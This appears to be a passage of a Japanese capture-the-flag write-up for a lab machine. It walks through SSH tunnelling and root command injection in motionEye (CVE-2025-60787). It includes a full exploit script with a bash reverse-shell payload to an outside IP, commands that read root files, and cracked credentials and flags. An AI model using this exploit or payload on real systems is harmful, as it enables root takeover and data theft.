OUTPUT
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark)
mark@cctv:~$ uname -a
Linux cctv 6.1.0-31-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.128-1 (2025-02-07) x86_64 GNU/Linux
SSH ログイン成功。mark ユーザーとして対象ターゲットへのアクセスを確立。 次フェーズで内部環境調査・権限昇格を実施。

Phase 6: SSH 内部調査 + motionEye 0.43.1b4 発見

6-1. プロセス・サービス調査 (hidepid=2 環境)

COMMAND
mark@cctv:~$ mount | grep proc
# → proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=2)

mark@cctv:~$ systemctl list-units --type=service --state=running
KEY FINDINGS
hidepid=2 が有効 → 他ユーザーのプロセスが ps/top で非表示

動作中のサービス (抜粋):
  motioneye.service   — motionEye camera management (ポート 8765)
  motion.service      — motion デーモン (RTSP キャプチャ)
  zoneminder.service  — ZoneMinder (ポート 80)
  ssh.service
  mariadb.service
重要発見: motioneye.service が稼働中。ポート 8765 (localhost のみバインド) で motionEye 0.43.1b4 が動作していることを確認。

6-2. motionEye systemd サービス設定 (特権確認)

COMMAND
mark@cctv:~$ cat /etc/systemd/system/motioneye.service
OUTPUT
[Unit]
Description=motionEye Server
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-failure

[Install]
WantedBy=multi-user.target
重大発見: User=root — motionEye (および motion デーモン) が root 権限で動作。 motionEye で RCE を達成できれば即 root シェル取得可能。

6-3. motionEye 設定・認証情報確認

COMMAND
mark@cctv:~$ cat /etc/motioneye/motioneye.conf
OUTPUT (抜粋)
admin_username admin
admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
normal_username
normal_password

port 8765
listen 127.0.0.1
admin_password は SHA1 ハッシュ (989c5a8e...) として保存。 これが API 署名認証の key として直接使用されることを後の解析で確認。 listen 127.0.0.1 → SSH トンネルが必要。

6-4. SSH トンネリング (ポート転送)

COMMAND (Kali 側)
ssh -L 8765:127.0.0.1:8765 mark@10.129.8.110 -N &

# 確認
curl -s -o/dev/null -w "%{http_code}" http://127.0.0.1:8765/
→ 200
SSH ローカルポート転送により、Kali の localhost:8765 → ターゲット 127.0.0.1:8765 へのアクセスを確立。

6-5. RTSP ストリーム・motion 制御 API 確認

発見事項
RTSP ストリーム: rtsp://localhost:8554/cam01 (gortsplib サーバー)
motion 制御 API: http://127.0.0.1:7999 (motion デーモン直接 HTTP 制御)
  GET /1/action/snapshot  → スナップショット取得
  GET /0/action/restart   → motion デーモン再起動 (設定リロード)
  ※ motionEye の /action/{cam_id}/restart は 400 "unknown action" — 制御 API を直接使うこと
motion デーモンの制御 API がポート 7999 でバインドされており、mark ユーザーからアクセス可能。スナップショット起動でイベントトリガーが可能。

Phase 7: CVE-2025-60787 — motionEye コマンドインジェクション (Root RCE)

7-1. CVE-2025-60787 概要

CVE-2025-60787 — motionEye 0.43.1b4 以前の command_storage_exec フィールドへのコマンドインジェクション脆弱性。

攻撃フロー:
1. motionEye API (POST /config/{id}/set) で command_storage_exec に任意コマンドを設定
2. motion.conf の on_picture_save にそのコマンドが書き込まれる
3. スナップショット取得時に on_picture_save が root 権限で実行される

影響: 認証済み管理者 → root コマンド実行

7-2. motionEye HMAC-SHA1 署名認証の解析

サーバーソース確認 (ターゲット上)
cat /usr/local/lib/python3.12/dist-packages/motioneye/utils/__init__.py | head -60
CRITICAL: 正しい _SIGNATURE_REGEX (line 39)
# サーバー側の正確な実装
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')

# 署名対象文字列フォーマット
sig_str = "{method}:{path}:{body}:{key}"
→ SHA1(sig_str).hexdigest()

# 認証フロー (handlers/base.py)
# 1. _username + _signature を URL クエリパラメータに付与
# 2. key として admin_password_hash (SHA1) を使用
# 3. body が JSON の場合は Content-Type: application/json が必要
重要な落とし穴: 初期の exploit スクリプトは re.compile(r'[^a-zA-Z0-9]') を使用していたが、 これは /, ?, _, = 等を - に置換してしまう誤り。 サーバー側は URL 構造文字を保持するため、署名が一致せず 403 が返り続けた。 サーバーソースを直接読んで正しい regex を特定することで解決。

7-3. exploit スクリプト開発・デバッグ (htb-cctv/me_exploit.py)

#バグ症状修正
1 _SIGNATURE_REGEX が誤り ([^a-zA-Z0-9]) 全リクエストが HTTP 403。署名不一致 サーバーソース (utils/__init__.py:39) から正しい regex を転記:
[^a-zA-Z0-9/?_.=&{}\[\]":, -]
2 POST body を URL エンコード形式で送信 config set (POST /config/1/set) が HTTP 500 handlers/config.py の set_config()json.loads(self.request.body) を期待するため、json.dumps() + Content-Type: application/json に変更
3 /action/{cam_id}/restart に 400 “unknown action” エラー motionEye の action ハンドラーは restart をサポートしない。
motion 制御 API (http://127.0.0.1:7999/0/action/restart) を直接使用
4 逆接続シェルが届かない bash /dev/tcp 接続が来ない アウトバウンド TCP がファイアウォールでブロックされている。
ファイル書き込みオラクル方式に切り替え (cat flag > /tmp/out.txt)
デバッグ手法: ターゲット上で python3 -c "..." を実行してサーバー側署名計算値と比較することで、regex の差異を特定した。

7-4. motionEye API 認証確認 (直接 curl テスト)

COMMAND (ターゲット上)
# 署名を手動計算して curl で確認
mark@cctv:~$ python3 -c "
import hashlib, re, urllib.parse
REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')
key = '989c5a8ee87a0e9521ec81a79187d162109282f0'
path = '/config/list?_username=admin'
path_s = REGEX.sub('-', path)
key_s = REGEX.sub('-', key)
sig = hashlib.sha1(f'GET:{path_s}::{key_s}'.encode()).hexdigest()
print(sig)
"
# → c722bdc7627d0a66e2a78d142faa1d7f20e97bc1

curl "http://127.0.0.1:8765/config/list?_username=admin&_signature=c722bdc7627d0a66e2a78d142faa1d7f20e97bc1"
OUTPUT
HTTP 200
{"cameras": [{"id": 1, "name": "Camera1", ...}], ...}
motionEye API への署名付き認証に成功。Camera ID=1 を確認。

7-5. command_storage_exec へのペイロードインジェクション

COMMAND (Kali, me_exploit.py 実行)
python3 htb-cctv/me_exploit.py

# 内部処理:
# 1. GET /config/list → cam_id=1 取得
# 2. GET /config/1/get → 現在の設定取得
# 3. POST /config/1/set (JSON body) で以下を設定:
#    command_storage_enabled: true
#    command_storage_exec: "bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1'"
# 4. POST /action/1/snapshot でスナップショット起動
OUTPUT
[*] motionEye CVE-2025-60787 exploit
[*] Target: http://127.0.0.1:8765
[+] Config list: 200
[+] Camera ID: 1, cameras: 1
[*] Got camera config: 200
[*] Injecting via command_storage_exec...
[*] Set config: 200 - {"ok": true}
camera-1.conf の on_picture_save にペイロードが書き込まれたことを確認。

7-6. camera-1.conf への書き込み確認

COMMAND (ターゲット上)
mark@cctv:~$ grep -i "on_picture_save\|on_movie_end" /etc/motioneye/camera-1.conf
OUTPUT
on_picture_save /usr/local/lib/python3.12/dist-packages/motioneye/scripts/relayevent.sh "/etc/motioneye/motioneye.conf" picture_save %t %f; bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1'
on_movie_end /usr/local/lib/python3.12/dist-packages/motioneye/scripts/relayevent.sh "/etc/motioneye/motioneye.conf" movie_end %t %f; bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1'
on_picture_save にペイロードが注入済み。次のスナップショット時に root として実行される。

7-7. RCE as Root 確認 (ファイル書き込みテスト)

COMMAND (ターゲット上)
# motion デーモン再起動で設定リロード
mark@cctv:~$ curl -s http://127.0.0.1:7999/0/action/restart
→ "Done"

# ペイロードをテスト用コマンドに変更 (API 経由)
# command_storage_exec: "id > /tmp/pwned.txt"

# スナップショット起動
mark@cctv:~$ curl -s http://127.0.0.1:7999/1/action/snapshot
→ "Done"

# 実行確認
mark@cctv:~$ cat /tmp/pwned.txt
OUTPUT
uid=0(root) gid=0(root) groups=0(root)
Root RCE 確認完了。 motionEye の on_picture_save フックが root 権限で実行されることを証明。

7-8. me_exploit.py — ソースコード

me_exploit.py
#!/usr/bin/env python3
"""motionEye CVE-2025-60787 - Command Injection via command_storage_exec"""

import hashlib
import json
import re
import urllib.parse
import requests
import sys
import time

TARGET = "http://127.0.0.1:8765"
ADMIN_USERNAME = "admin"
ADMIN_PASSWORD_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"

# Correct regex from server source
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')


def compute_signature(method, path, body, key):
    parts = list(urllib.parse.urlsplit(path))
    query = [
        q
        for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
        if q[0] != '_signature'
    ]
    query.sort(key=lambda q: q[0])
    query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
    query = '&'.join([q[0] + '=' + q[1] for q in query])
    parts[0] = parts[1] = ''
    parts[3] = query
    path = urllib.parse.urlunsplit(parts)
    path = _SIGNATURE_REGEX.sub('-', path)
    key = _SIGNATURE_REGEX.sub('-', key)

    if isinstance(body, bytes):
        try:
            body_str = body.decode('utf-8')
        except Exception:
            body_str = None
    else:
        body_str = body or ''

    if body_str and body_str.startswith('---'):
        body_str = None

    body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)

    sig = hashlib.sha1(
        ('{}:{}:{}:{}'.format(method, path, body_str or '', key)).encode('utf-8')
    ).hexdigest().lower()
    return sig


def signed_request(method, path, params=None, json_data=None, key=None):
    if key is None:
        key = ADMIN_PASSWORD_HASH

    if params is None:
        params = {}
    params['_username'] = ADMIN_USERNAME

    # Build sorted query string for signature computation
    sorted_params = sorted((k, v) for k, v in params.items() if k != '_signature')
    qs = '&'.join(f'{k}={urllib.parse.quote(str(v), safe="")}' for k, v in sorted_params)
    full_path = f"{path}?{qs}"

    # Encode body
    body_bytes = b''
    if json_data is not None:
        body_bytes = json.dumps(json_data).encode('utf-8')

    sig = compute_signature(method, full_path, body_bytes, key)
    params['_signature'] = sig

    url = TARGET + path
    sorted_params_with_sig = sorted(params.items())

    if method == 'GET':
        r = requests.get(url, params=sorted_params_with_sig, timeout=10)
    elif method == 'POST':
        headers = {}
        if json_data is not None:
            headers['Content-Type'] = 'application/json'
        r = requests.post(url, params=sorted_params_with_sig,
                          data=body_bytes, headers=headers, timeout=10)
    return r


def main():
    lhost = sys.argv[1] if len(sys.argv) > 1 else "10.10.14.245"
    lport = sys.argv[2] if len(sys.argv) > 2 else "4444"

    print(f"[*] motionEye CVE-2025-60787 exploit")
    print(f"[*] Target: {TARGET}")
    print(f"[*] LHOST: {lhost}:{lport}")

    # Step 1: Verify auth
    print("\n[*] Verifying authentication...")
    r = signed_request('GET', '/config/list')
    print(f"[+] Config list: {r.status_code}")
    if r.status_code != 200:
        print(f"[-] Auth failed: {r.text[:200]}")
        sys.exit(1)

    config = r.json()
    cameras = config.get('cameras', [])
    cam_id = cameras[0].get('id', 1) if cameras else 1
    print(f"[+] Camera ID: {cam_id}, cameras: {len(cameras)}")

    # Step 2: Get current camera config to merge with
    r = signed_request('GET', f'/config/{cam_id}/get')
    cam_config = r.json()
    print(f"[*] Got camera config: {r.status_code}")

    # Step 3: Inject via command_storage_exec → maps to on_picture_save in motion.conf
    # Triggered when motion writes a picture (e.g. snapshot). Runs as root.
    payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    print(f"\n[*] Injecting via command_storage_exec...")
    print(f"[*] Payload: {payload}")

    # Build full config with injection fields added
    inject_config = dict(cam_config)
    inject_config['command_storage_enabled'] = True
    inject_config['command_storage_exec'] = payload

    r = signed_request('POST', f'/config/{cam_id}/set', json_data=inject_config)
    print(f"[*] Set config: {r.status_code} - {r.text[:300]}")

    if r.status_code not in (200, 204):
        print("[-] Config set failed, trying notifications approach...")
        inject_config2 = dict(cam_config)
        inject_config2['command_notifications_enabled'] = True
        inject_config2['command_notifications_exec'] = payload
        r = signed_request('POST', f'/config/{cam_id}/set', json_data=inject_config2)
        print(f"[*] Set config (notifications): {r.status_code} - {r.text[:300]}")

    time.sleep(2)

    # Step 4: Trigger snapshot → fires on_picture_save → executes our command as root
    print("\n[*] Triggering snapshot to execute payload...")
    r = signed_request('POST', f'/action/{cam_id}/snapshot')
    print(f"[*] Snapshot: {r.status_code} - {r.text[:100]}")

    print("\n[*] Waiting for reverse shell... (check your listener on port 4444)")
    time.sleep(5)


if __name__ == '__main__':
    main()

Phase 8: フラグ取得 — user.txt + root.txt

8-1. アウトバウンド制限への対応 (ファイル書き込みオラクル)

問題: ターゲットからのアウトバウンド TCP がすべてのポートでファイアウォールによりブロック。 リバースシェル (bash /dev/tcp) が届かない。
解決策: フラグ内容をターゲット内の一時ファイルに書き込み、SSH 経由で読み出す「ファイル書き込みオラクル」方式を採用。
ペイロード (command_storage_exec に設定)
cat /home/sa_mark/user.txt > /tmp/u.txt; cat /root/root.txt > /tmp/r.txt

8-2. フラグ取得実行

STEP 1: ペイロード設定 (Kali 側 Python)
# me_exploit.py 相当の処理
r = signed_request('POST', '/config/1/set', json_data={
    **cam_config,
    'command_storage_enabled': True,
    'command_storage_exec': 'cat /home/sa_mark/user.txt > /tmp/u.txt; cat /root/root.txt > /tmp/r.txt'
})
# → HTTP 200 {"ok": true}
STEP 2: motion 再起動 + スナップショット起動 (ターゲット上)
mark@cctv:~$ curl -s http://127.0.0.1:7999/0/action/restart && sleep 2
mark@cctv:~$ curl -s http://127.0.0.1:7999/1/action/snapshot
STEP 3: フラグ読み出し (ターゲット上)
mark@cctv:~$ cat /tmp/u.txt
mark@cctv:~$ cat /tmp/r.txt
OUTPUT
7fdaf1a27d3cce37ec2f9ef6d0bad356   ← user.txt
9830e6709c0619f6e662b3cb3800fc9a   ← root.txt

8-3. 取得済みフラグ

user.txt (/home/sa_mark/user.txt)
7fdaf1a27d3cce37ec2f9ef6d0bad356
root.txt (/root/root.txt)
9830e6709c0619f6e662b3cb3800fc9a

8-4. 完全攻撃チェーン (Full Kill Chain)

ステップ手法結果
1 ZoneMinder admin/admin ログイン API アクセス確立
2 CVE-2024-51482 時間ベース Blind SQLi (533 リクエスト) zm.Users 全 3 ユーザーの bcrypt ハッシュ抽出
3 john (rockyou2.txt) で bcrypt クラック mark:opensesame 取得
4 SSH ログイン (mark:opensesame) mark ユーザーシェル取得
5 内部調査: motioneye.service (User=root, port 8765) 特権サービスを発見
6 SSH ポート転送 (localhost:8765) Kali から motionEye API へのアクセス確立
7 サーバーソース解析 (_SIGNATURE_REGEX, JSON body) で署名バグ修正 motionEye API 認証成功 (HTTP 200)
8 CVE-2025-60787: POST /config/1/set で command_storage_exec にコマンド注入 camera-1.conf の on_picture_save にペイロード書き込み
9 motion 制御 API で restart + snapshot 起動 on_picture_save トリガー → root として実行
10 ファイル書き込みオラクルでフラグ取得 user.txt + root.txt 取得完了

まとめ・最終結果

最終フラグ

user.txt (/home/sa_mark/user.txt)
7fdaf1a27d3cce37ec2f9ef6d0bad356
root.txt (/root/root.txt)
9830e6709c0619f6e662b3cb3800fc9a

取得済み認証情報まとめ

サービスユーザーパスワード / ハッシュ用途
ZoneMinder Web admin admin API アクセス・SQLi 実行起点
ZoneMinder DB mark $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
opensesame
SSH ログイン
ZoneMinder DB superadmin $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm 未使用 (未クラック)
motionEye admin 989c5a8ee87a0e9521ec81a79187d162109282f0 (SHA1) CVE-2025-60787 API 認証
SSH mark opensesame 内部アクセス・フラグ読み出し